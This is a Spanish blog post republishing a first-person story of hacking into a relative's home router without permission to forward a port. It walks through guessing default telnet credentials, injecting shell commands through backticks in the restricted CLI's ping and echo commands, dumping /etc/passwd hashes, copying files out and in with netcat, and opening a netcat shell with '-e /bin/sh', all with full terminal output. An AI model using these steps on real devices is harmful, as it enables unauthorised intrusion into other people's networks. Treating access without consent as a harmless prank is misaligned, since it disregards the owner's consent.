martes, 26 de agosto de 2014

Grasias por la WiFi primo!

A mí cuando me da por algo, me da; ahora estoy liando con Redes a ver si repaso un poco los conocimientos. Así que iré escribiendo estos día sobre Redes, Redes Wifi, etc. Si a esto le sumas que me encuentro un post como el que traigo a continuación en 48bits, pues ya aprovecho y os dejo una historia real. Espero que os guste y tened cuidad con vuestra Red Wifi.

Saludos Malvados!
***********************************************************************************
Post escrito por Gabriel Gonzalez en 48bits


Estaba un día trabajando en casa de mi primo y necesitaba acceso a Internet, por lo que obviamente le pedí la clave de la WiFi y de muy buena gana me la proporcionó, a lo cuál le agradecí su tan generoso gesto.

Para proseguir con mi actividad productiva necesitaba redirigir un puerto hacia mi máquina así que, dado que las cualidades técnicas de mi primo no van más allá del facebook, decidí hacerlo sin preguntar y aquí comienza realmente la historia.

Me conecté al Router y comencé a probar las N combinaciones de cuentas de administrador que me conocía y alguna más que busqué por la web:

$ telnet 192.168.0.1
Trying 192.168.0.1…
Connected to 192.168.0.1.
Escape character is ‘^]’.
BCM96328 Broadband Router
Login: admin
Password:
Login incorrect. Try again.
Login: admin
Password:
Login incorrect. Try again.
Login: 1234
Password:
Authorization failed after trying 3 times!!!.

Sin resultado satisfactorio, me dirigí a mi primo con la oreja gacha herido en el orgullo hacker para preguntarle el usuario y contraseña, a lo cual me respondió con un “no sé de qué me hablas”. Perfecto, estaba a punto de arruinar un día entero de trabajo…

El siguiente paso fue intentar escalar privilegios desde una cuenta de usuario para consultar, por suerte éste router tenía la contraseña por defecto user/user habilitada, pero obviamente no permitía cambiar ningún parámetro, primero los pasos básicos para obtener shell de alguna manera:

$ telnet 192.168.0.1
Trying 192.168.0.1…
Connected to 192.168.0.1.
Escape character is ‘^]’.
BCM96328 Broadband Router
Login: user
Password:
 > ?
?
help
logout
exit
quit
reboot
dnsproxy
ping
lanhosts
passwd
restoredefault
save
swversion
uptime
cfgupdate
swupdate
exitOnIdle
wan
build
version
serialnumber
 > sh
telnetd:error:607.372:processInput:380:unrecognized command sh
 > version && sh
Warning: operator & is not supported!
A731-410JAZ-C05_R01.A2pD035g.d23i
 > version ; sh
Warning: operator ; is not supported!
A731-410JAZ-C05_R01.A2pD035g.d23i
 >

Vaya por dios, parece que se han tomado en serio la seguridad los que han hecho esta versión de firmware! Pensemos durante unos segundos qué más podríamos probar:

> `sh`
telnetd:error:790.629:processInput:380:unrecognized command `sh`
 > `echo`
telnetd:error:793.334:processInput:380:unrecognized command `echo`
 > ping `echo ls`
ping: ls: Unknown host
 >

Bingo! Parece que tenemos una manera de ejecutar comandos, sigamos jugando un poco más:

 > ping `ls`
ping: bin: Unknown host
 > ping `ls /`
ping: bin: Unknown host
 > ping `ls /etc`
ping: adsl: Unknown host
 > ping `ls /etc/passwd`
ping: /etc/passwd: Unknown host
 > ping `cat /etc/passwd`
ping: admin:XX.YUYYEYE.ER.s:0:0:Administrator:/:/bin/sh: Unknown host
 >

Perfecto, ya tenemos la clave de admin que era lo que necesitábamos; después de preguntar a nuestro amigo John pude redirigir el puerto que necesitaba. Pero ya que no parece tener la shell disponible fácilmente seguí un vistazo a ver qué podemos sacar desde la cuenta de admin.
Como se puede ver a continuación, tiene mucho más comandos, en concreto me llama la atención el comando echo:

$ telnet 192.168.0.1
Trying 192.168.0.1…
Connected to 192.168.0.1.
Escape character is ‘^]’.
BCM96328 Broadband Router
Login: admin
Password:
 > ?
?
help
logout
exit
quit
reboot
adsl
xdslctl
xtm
brctl
loglevel
logdest
virtualserver
ddns
df
dumpcfg
dumpmdm
meminfo
psp
kill
dumpsysinfo
dnsproxy
syslog
echo
ifconfig
ping
ps
pwd
sntp
sysinfo
tftp
wlctl
arp
defaultgateway
dhcpserver
dns
lan
lanhosts
passwd
ppp
restoredefault
route
save
swversion
uptime
cfgupdate
swupdate
exitOnIdle
wan
build
version
serialnumber
 > echo `ls /`
bin data dev etc lib linuxrc mnt opt proc sbin sys tmp usr var webs
 > echo `cat /etc/passwd`
admin:XX.YUYYEYE.ER.s:0:0:Administrator:/:/bin/sh support:XX.YUYYEYE.ER.s:0:0:Technical Support:/:/bin/sh user:XX.YUYYEYE.ER.s:0:0:Normal User:/:/bin/sh ftpuser:XX.YUYYEYE.ER.s:0:0:user for ftp:/:/bin/sh nobody:XX.YUYYEYE.ER.s:0:0:nobody for ftp:/:/bin/sh

Con el comando echo podemos ver la salida completa de los comandos ejecutados! Exploremos a ver que tiene este dispositivo:

 > echo `ls /usr/bin`
[ expr ftpget killall logger md5sum nc test tftp top tty wget
 >

Wow, hay un nc por ahí! Podremos usarlo para copiar ficheros dentro y fuera del mismo? Además tenemos un md5sum que nos viene perfecto para ver si la copia ha sido satisfactoria. Probemos con el binario /bin/httpd:

 > echo `ls /bin/httpd`
/bin/httpd
 > echo `/usr/bin/nc`
BusyBox v1.00 (2011.10.28-05:10+0000) multi-call binary
Usage: nc [OPTIONS] [IP] [port]
Netcat opens a pipe to IP:port
Options:
        -l              listen mode, for inbound connects
        -p PORT         local port number
        -i SECS         delay interval for lines sent
        -e PROG         program to exec after connect (dangerous!)
 > echo `cat /bin/httpd | /usr/bin/nc 192.168.0.8 3333`
 > echo `/usr/bin/md5sum /bin/httpd`
12b41761c640455b87038fb32f49334e /bin/httpd
 >
Comprobando en mi PC:

~/tmp$ nc -l 192.168.0.8 3333 > httpd
~/tmp$ md5sum httpd
12b41761c640455b87038fb32f49334e  httpd
~/tmp$
Funciona perfectamente! Probemos a enviar un fichero…
~/tmp$ cat | nc 192.168.0.1 3333
#!/bin/sh
echo "w00w00"
~/tmp$
Y en el router:
 > echo `/usr/bin/nc -l -p 3333 > /tmp/test.sh`
 > echo `sh /tmp/test.sh`
w00w00
 >

Ya que tenemos el nc y que andar ejecutando comando a golpe de echo es un poco coñazo, una reverse shell nos vendría de lujo! Let’s try it, primero ponemos a escuchar el nc en el router:

> echo `/usr/bin/nc -l -p 3333 -e /bin/sh`
Y después nos conectamos desde el PC:
~/tmp$ nc 192.168.0.1 3333
ls /
bin
data
dev
etc
lib
linuxrc
mnt
opt
proc
sbin
sys
tmp
usr
var
webs
ls /tmp
/tmp
cd /tmp
ls
bootupmessages
test.sh
cat test.sh
#!/bin/sh
echo "w00w00"

Yeah! Pues nada, ahí tenemos control total de manera remota y ya podemos seguir jugando más cómodamente, aunque eso será para otra entrada en el blog!

No me sigas por la calle! Sígueme por el twitter http://www.twitter.com/gabrielgonzalez


No hay comentarios:

Publicar un comentario

Related Posts Plugin for WordPress, Blogger...

Entrada destacada

El server me sabe a poco.

Soy un fanático del Rock y de Debian . (Creo que voy a inventar Rockbian, que suena bien y todo xD) Llevaba tiempo queriendo unir estos 2 c...